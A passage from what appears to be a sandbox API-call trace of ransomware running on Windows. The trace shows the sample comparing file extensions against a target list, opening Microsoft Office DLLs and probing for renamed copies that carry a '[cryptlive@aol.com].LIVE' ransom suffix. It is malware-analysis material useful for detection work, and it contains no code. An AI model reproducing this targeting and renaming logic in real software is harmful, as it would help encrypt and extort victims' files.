lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.764] lstrlenW (lpString=".docx") returned 5 [0139.764] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0139.765] lstrlenW (lpString=".pdf") returned 4 [0139.765] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString=".xls") returned 4 [0139.765] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.765] lstrlenW (lpString=".xlsx") returned 5 [0139.765] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0139.765] lstrlenW (lpString=".ppt") returned 4 [0139.765] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.765] lstrlenW (lpString=".zip") returned 4 [0139.765] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.765] lstrlenW (lpString=".rar") returned 4 [0139.765] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString=".bz2") returned 4 [0139.765] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString=".7z") returned 3 [0139.765] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.765] lstrlenW (lpString=".dbf") returned 4 [0139.765] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.765] lstrlenW (lpString=".1cd") returned 4 [0139.765] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.765] lstrlenW (lpString=".jpg") returned 4 [0139.765] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.765] lstrlenW (lpString=".doc") returned 4 [0139.765] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString=".docx") returned 5 [0139.765] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0139.765] lstrlenW (lpString=".pdf") returned 4 [0139.765] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.765] lstrlenW (lpString=".xls") returned 4 [0139.766] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.766] lstrlenW (lpString=".xlsx") returned 5 [0139.766] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0139.766] lstrlenW (lpString=".ppt") returned 4 [0139.766] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.766] lstrlenW (lpString=".zip") returned 4 [0139.766] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.766] lstrlenW (lpString=".rar") returned 4 [0139.766] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.766] lstrlenW (lpString=".bz2") returned 4 [0139.766] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.766] lstrlenW (lpString=".7z") returned 3 [0139.766] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.766] lstrlenW (lpString=".dbf") returned 4 [0139.766] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.766] lstrlenW (lpString=".1cd") returned 4 [0139.766] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.766] lstrlenW (lpString=".jpg") returned 4 [0139.766] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.766] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.766] lstrlenW (lpString="DWGDPRES.DLL") returned 12 [0139.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.767] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=16224) returned 1 [0139.767] CloseHandle (hObject=0x3ac) returned 1 [0139.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll")) returned 0x20 [0139.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.768] lstrlenW (lpString=".doc") returned 4 [0139.768] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.768] lstrlenW (lpString=".docx") returned 5 [0139.768] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0139.768] lstrlenW (lpString=".pdf") returned 4 [0139.768] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.768] lstrlenW (lpString=".xls") returned 4 [0139.768] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.768] lstrlenW (lpString=".xlsx") returned 5 [0139.768] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0139.768] lstrlenW (lpString=".ppt") returned 4 [0139.768] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.768] lstrlenW (lpString=".zip") returned 4 [0139.768] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.768] lstrlenW (lpString=".rar") returned 4 [0139.768] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.768] lstrlenW (lpString=".bz2") returned 4 [0139.768] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.768] lstrlenW (lpString=".7z") returned 3 [0139.768] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.768] lstrlenW (lpString=".dbf") returned 4 [0139.768] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString=".1cd") returned 4 [0139.769] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString=".jpg") returned 4 [0139.769] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString=".doc") returned 4 [0139.769] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.769] lstrlenW (lpString=".docx") returned 5 [0139.769] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0139.769] lstrlenW (lpString=".pdf") returned 4 [0139.769] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.769] lstrlenW (lpString=".xls") returned 4 [0139.769] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.769] lstrlenW (lpString=".xlsx") returned 5 [0139.769] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0139.769] lstrlenW (lpString=".ppt") returned 4 [0139.769] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString=".zip") returned 4 [0139.769] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.769] lstrlenW (lpString=".rar") returned 4 [0139.769] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.769] lstrlenW (lpString=".bz2") returned 4 [0139.769] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.769] lstrlenW (lpString=".7z") returned 3 [0139.769] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString=".dbf") returned 4 [0139.769] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString=".1cd") returned 4 [0139.769] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0139.769] lstrlenW (lpString=".jpg") returned 4 [0139.770] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.770] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.770] lstrlenW (lpString="EAWFINTL.DLL") returned 12 [0139.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.770] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=51600) returned 1 [0139.770] CloseHandle (hObject=0x3ac) returned 1 [0139.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll")) returned 0x20 [0139.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.771] lstrlenW (lpString=".doc") returned 4 [0139.771] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.771] lstrlenW (lpString=".docx") returned 5 [0139.771] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.771] lstrlenW (lpString=".pdf") returned 4 [0139.771] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.771] lstrlenW (lpString=".xls") returned 4 [0139.771] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.771] lstrlenW (lpString=".xlsx") returned 5 [0139.771] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.771] lstrlenW (lpString=".ppt") returned 4 [0139.771] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.771] lstrlenW (lpString=".zip") returned 4 [0139.771] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.771] lstrlenW (lpString=".rar") returned 4 [0139.771] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.771] lstrlenW (lpString=".bz2") returned 4 [0139.771] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.771] lstrlenW (lpString=".7z") returned 3 [0139.771] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.771] lstrlenW (lpString=".dbf") returned 4 [0139.772] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.772] lstrlenW (lpString=".1cd") returned 4 [0139.772] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.772] lstrlenW (lpString=".jpg") returned 4 [0139.772] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.772] lstrlenW (lpString=".doc") returned 4 [0139.772] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.772] lstrlenW (lpString=".docx") returned 5 [0139.772] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.772] lstrlenW (lpString=".pdf") returned 4 [0139.772] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.772] lstrlenW (lpString=".xls") returned 4 [0139.772] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.772] lstrlenW (lpString=".xlsx") returned 5 [0139.772] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.772] lstrlenW (lpString=".ppt") returned 4 [0139.772] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.772] lstrlenW (lpString=".zip") returned 4 [0139.772] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.772] lstrlenW (lpString=".rar") returned 4 [0139.772] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.772] lstrlenW (lpString=".bz2") returned 4 [0139.772] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.772] lstrlenW (lpString=".7z") returned 3 [0139.772] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.772] lstrlenW (lpString=".dbf") returned 4 [0139.772] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.772] lstrlenW (lpString=".1cd") returned 4 [0139.772] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60 [0139.773] lstrlenW (lpString=".jpg") returned 4 [0139.773] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.773] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.773] lstrlenW (lpString="EDITRES.DLL") returned 11 [0139.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.773] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=19840) returned 1 [0139.773] CloseHandle (hObject=0x3ac) returned 1 [0139.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll")) returned 0x20 [0139.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.774] lstrlenW (lpString=".doc") returned 4 [0139.774] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.774] lstrlenW (lpString=".docx") returned 5 [0139.774] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0139.774] lstrlenW (lpString=".pdf") returned 4 [0139.774] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.774] lstrlenW (lpString=".xls") returned 4 [0139.774] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.774] lstrlenW (lpString=".xlsx") returned 5 [0139.774] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0139.774] lstrlenW (lpString=".ppt") returned 4 [0139.774] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.774] lstrlenW (lpString=".zip") returned 4 [0139.774] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.774] lstrlenW (lpString=".rar") returned 4 [0139.774] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.774] lstrlenW (lpString=".bz2") returned 4 [0139.774] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.774] lstrlenW (lpString=".7z") returned 3 [0139.774] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.774] lstrlenW (lpString=".dbf") returned 4 [0139.774] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.774] lstrlenW (lpString=".1cd") returned 4 [0139.774] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.774] lstrlenW (lpString=".jpg") returned 4 [0139.775] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.775] lstrlenW (lpString=".doc") returned 4 [0139.775] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.775] lstrlenW (lpString=".docx") returned 5 [0139.775] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0139.775] lstrlenW (lpString=".pdf") returned 4 [0139.775] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.775] lstrlenW (lpString=".xls") returned 4 [0139.775] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.775] lstrlenW (lpString=".xlsx") returned 5 [0139.775] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0139.775] lstrlenW (lpString=".ppt") returned 4 [0139.775] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.775] lstrlenW (lpString=".zip") returned 4 [0139.775] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.775] lstrlenW (lpString=".rar") returned 4 [0139.775] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.775] lstrlenW (lpString=".bz2") returned 4 [0139.775] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.775] lstrlenW (lpString=".7z") returned 3 [0139.775] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.775] lstrlenW (lpString=".dbf") returned 4 [0139.775] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.775] lstrlenW (lpString=".1cd") returned 4 [0139.775] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59 [0139.775] lstrlenW (lpString=".jpg") returned 4 [0139.775] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.776] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0139.776] lstrlenW (lpString="EntityPickerIntl.dll") returned 20 [0139.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.776] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=24456) returned 1 [0139.776] CloseHandle (hObject=0x3ac) returned 1 [0139.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll")) returned 0x20 [0139.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString=".doc") returned 4 [0139.777] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.777] lstrlenW (lpString=".docx") returned 5 [0139.777] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0139.777] lstrlenW (lpString=".pdf") returned 4 [0139.777] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.777] lstrlenW (lpString=".xls") returned 4 [0139.777] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.777] lstrlenW (lpString=".xlsx") returned 5 [0139.777] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0139.777] lstrlenW (lpString=".ppt") returned 4 [0139.777] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString=".zip") returned 4 [0139.777] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.777] lstrlenW (lpString=".rar") returned 4 [0139.777] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.777] lstrlenW (lpString=".bz2") returned 4 [0139.777] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.777] lstrlenW (lpString=".7z") returned 3 [0139.777] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString=".dbf") returned 4 [0139.777] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString=".1cd") returned 4 [0139.777] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString=".jpg") returned 4 [0139.777] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.777] lstrlenW (lpString=".doc") returned 4 [0139.778] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.778] lstrlenW (lpString=".docx") returned 5 [0139.778] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0139.778] lstrlenW (lpString=".pdf") returned 4 [0139.778] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.778] lstrlenW (lpString=".xls") returned 4 [0139.778] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.778] lstrlenW (lpString=".xlsx") returned 5 [0139.778] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0139.778] lstrlenW (lpString=".ppt") returned 4 [0139.778] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.778] lstrlenW (lpString=".zip") returned 4 [0139.778] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.778] lstrlenW (lpString=".rar") returned 4 [0139.778] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.778] lstrlenW (lpString=".bz2") returned 4 [0139.778] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.778] lstrlenW (lpString=".7z") returned 3 [0139.778] 